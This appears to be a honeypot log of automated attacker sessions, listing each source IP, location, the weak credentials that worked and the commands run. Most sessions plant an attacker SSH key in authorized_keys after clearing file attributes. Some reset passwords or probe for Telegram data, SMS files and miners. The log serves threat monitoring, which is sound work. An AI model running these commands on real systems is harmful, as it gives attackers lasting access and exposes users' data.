โ†ณ SSH key persistence
๐ŸŽญ nocturnal_sensei_sol (20.153.204.5) โ€” Tokyo, Japan ยท 1 session ยท 2 cmds
2026-07-05 04:21 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ silent_drifter_sol (186.64.123.124) โ€” Curicรณ, Chile ยท 1 session ยท 2 cmds
2026-07-05 04:20 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ savage_acai_sol (14.102.230.4) โ€” Sรฃo Paulo, Brazil ยท 1 session ยท 2 cmds
2026-07-05 04:20 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ ashen_lotus_sol (112.137.143.2) โ€” Hanoi, Vietnam ยท 1 session ยท 2 cmds
2026-07-05 04:19 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ haywire_spice_root (168.144.95.137) โ€” Bengaluru, India ยท 1 session ยท 2 cmds
2026-07-05 04:17 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ sullen_specter_root (103.59.163.135) โ€” Yangon, Myanmar ยท 1 session ยท 2 cmds
2026-07-05 04:17 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ rogue_saffron_root (31.14.116.163) โ€” Tehran, Iran ยท 32 sessions ยท 32 cmds
2026-07-04 20:15 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—32
๐ŸŽญ stoic_panda_root_168 (106.12.61.168) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-07-04 21:23 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ grumpy_lantern_root_101 (120.48.8.101) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-07-04 18:44 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ drowsy_baguette_root (94.183.188.148) โ€” Paris, France ยท 1 session ยท 2 cmds
2026-07-04 18:28 EDT ยท as oracle/oracle!@#
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ grumpy_dragon_root (116.177.172.94) โ€” Jinrongjie, China ยท 1 session ยท 1 cmd
2026-07-04 16:34 EDT ยท as guest/guest
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ ashen_bamboo_root (123.58.198.35) โ€” Ho Chi Minh City, Vietnam ยท 1 session ยท 2 cmds
2026-07-04 16:20 EDT ยท as oracle/abc123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ nocturnal_merlion_root (43.134.33.250) โ€” Singapore, Singapore ยท 1 session ยท 2 cmds
2026-07-04 16:11 EDT ยท as oracle/abc123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ sneaky_wok_root (219.151.148.162) โ€” Chongqing, China ยท 1 session ยท 1 cmd
2026-07-04 14:01 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ silent_liberty_root_98 (99.92.204.98) โ€” Dallas, United States ยท 1 session ยท 2 cmds
2026-07-04 12:46 EDT ยท as oracle/oracle!
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ derelict_yankee_root_209 (71.206.190.209) โ€” Front Royal, United States ยท 1 session ยท 9 cmds
2026-07-04 05:42 EDT ยท as root/root
root/root login โ†’ network interface enumeration via ifconfig โ†’ OS fingerprinting with uname -a โ†’ hardware profiling via /proc/cpuinfo โ†’ Telegram data directory reconnaissance โ†’ GSM modem device check โ†’ cryptominer process verification โ†’ C2 payload retrieval attempt via locate โ†’ benign echo test
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ unhinged_volcano_root (103.154.77.48) โ€” Sleman, Indonesia ยท 1 session ยท 20 cmds
2026-07-04 03:44 EDT ยท as admin/admin123
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "admin123\nWvptwUbQVdhG\nWvptwUbQVdhG"|passwd|bash
$ Enter new UNIX password:
$ echo "admin123\nWvptwUbQVdhG\nWvptwUbQVdhG\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ clandestine_dragon_root (114.96.79.13) โ€” Hefei, China ยท 1 session ยท 1 cmd
2026-07-04 01:29 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ wily_monsoon_root (38.137.11.14) โ€” Chandigarh, India ยท 1 session ยท 20 cmds
2026-07-04 01:18 EDT ยท as admin/admin123
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "admin123\nyHOYs6TrNsTV\nyHOYs6TrNsTV"|passwd|bash
$ Enter new UNIX password:
$ echo "admin123\nyHOYs6TrNsTV\nyHOYs6TrNsTV\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ murky_fika_root (171.25.158.70) โ€” Vaxjo, Sweden ยท 1 session ยท 20 cmds
2026-07-04 01:17 EDT ยท as admin/admin123
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "admin123\nzeRx9OrnehQQ\nzeRx9OrnehQQ"|passwd|bash
$ Enter new UNIX password:
$ echo "admin123\nzeRx9OrnehQQ\nzeRx9OrnehQQ\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ haywire_satay_root (149.118.135.252) โ€” Bukit Batu, Malaysia ยท 1 session ยท 9 cmds
2026-07-04 00:58 EDT ยท as root/root
network mapping โ†’ OS/kernel identification โ†’ CPU profiling
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ frantic_carnival_root (177.16.244.39) โ€” Porto Seguro, Brazil ยท 1 session ยท 2 cmds
2026-07-03 23:26 EDT ยท as oracle/oracle@12345
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ sullen_ximen_root (118.194.252.168) โ€” Taipei, Taiwan ยท 1 session ยท 2 cmds
2026-07-03 21:47 EDT ยท as oracle/rootroot
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ feral_k-pop_root (125.137.115.145) โ€” Dalseo-gu, South Korea ยท 1 session ยท 9 cmds
2026-07-03 19:56 EDT ยท as root/root
network mapping โ†’ OS/kernel identification โ†’ CPU profiling
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ gnarled_star_root_225 (172.210.53.225) โ€” Boydton, United States ยท 1 session ยท 1 cmd
2026-07-03 19:45 EDT ยท as root/1234
privilege check
$ whoami
โ†ณ privilege check
๐ŸŽญ molten_chai_root (103.149.197.34) โ€” Pune, India ยท 1 session ยท 1 cmd
2026-07-03 18:32 EDT ยท as root/admin
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ savage_durian_root (206.189.89.22) โ€” Singapore, Singapore ยท 1 session ยท 1 cmd
2026-07-03 15:26 EDT ยท as root/admin123
cat
$ cat /etc/hostname
๐ŸŽญ sneaky_cowboy_root_181 (47.254.85.181) โ€” Minkler, United States ยท 1 session ยท 2 cmds
2026-07-03 14:32 EDT ยท as oracle/1
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ midnight_cactus_root (189.194.140.170) โ€” Puebla City, Mexico ยท 1 session ยท 2 cmds
2026-07-03 14:30 EDT ยท as oracle/1
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ manic_nomad_root_19 (209.99.191.19) โ€” Zurich, Switzerland ยท 1 session ยท 2 cmds
2026-07-03 14:29 EDT ยท as oracle/1
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ placid_seoul_root (218.51.148.194) โ€” Gongju, South Korea ยท 1 session ยท 2 cmds
2026-07-03 14:28 EDT ยท as oracle/1
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
